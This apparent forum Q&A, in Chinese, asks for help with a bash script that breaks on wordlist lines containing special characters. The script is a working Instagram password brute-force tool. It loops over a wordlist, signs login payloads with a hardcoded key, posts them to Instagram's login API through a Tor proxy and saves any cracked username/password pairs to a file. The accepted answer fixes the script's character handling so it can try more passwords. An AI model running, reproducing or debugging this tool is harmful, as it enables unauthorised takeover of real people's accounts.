我正在尝试这个 bash 脚本,它使用 for 循环和 sed 来遍历文件的每一行并将其发送到 url。该脚本在使用诸如 tst244 或 anothersample 之类的单词时工作正常,但当该行包含诸如 test-1!@# 或 example\34143*9 之类的单词时,脚本无法正常工作。
这是我的代码:
for pass in $(sed -n ''$startline','$endline'p' $wl_pass); do
这是我在避免字符时得到的输出(我没有包含代码的打印部分以使其更清晰):
Sending (78/100): "01012011"
Sending (79/100): "69696969"
Sending (80/100): "december"
Sending (81/100): "11223344"
Sending (82/100): "godzilla"
Sending (83/100): "airborne"
Sending (84/100): "lifehack"
Sending (85/100): "brooklyn"
Sending (86/100): "platinum"
带字符的输出:
Sending (285/68814): "test&0525"
Sending (286/68814): "test 0079770525"
Sending (287/68814): "test 007"
Sending (288/68814): "test 525"
Sending (289/68814): "TEST007977"
Sending (290/68814): "TeSt0525"
Sending (291/366): "68814"
Sending (test_0079770525/): ""
Sending (292/367): "68814"
Sending (test_007/): ""
Sending (293/368): "68814"
Sending (test_525/): ""
使用这些词的部分的完整代码:
while [ $counter -lt $turn ]; do
IFS=$'\n'
for pass in $(sed -n ''$startline','$endline'p' $wl_pass); do
count_pass=$(wc -l $wl_pass | cut -d " " -f1)
header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
IFS=$'\n'
countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
let counter++
printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
{(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9051 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid1=$! ; #;wait $!;
let startline+=20
let endline+=20
done
}
代码的打印部分:
count_pass=$(wc -l $wl_pass | cut -d " " -f1)
countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
答案1
sed 语句最好在使用变量需要时使用双引号,并且为了防止 bash 解释感叹号而不扩展反斜杠,您可以更改为使用 read -r,如下所示:
while read -r pass do
#... code here ...
done < <(sed -n "$startline,$endline"'{s/!/\x21/g;p}' "$wl_pass")
在循环内使用printf
or echo -e
with $pass 应该会带回感叹号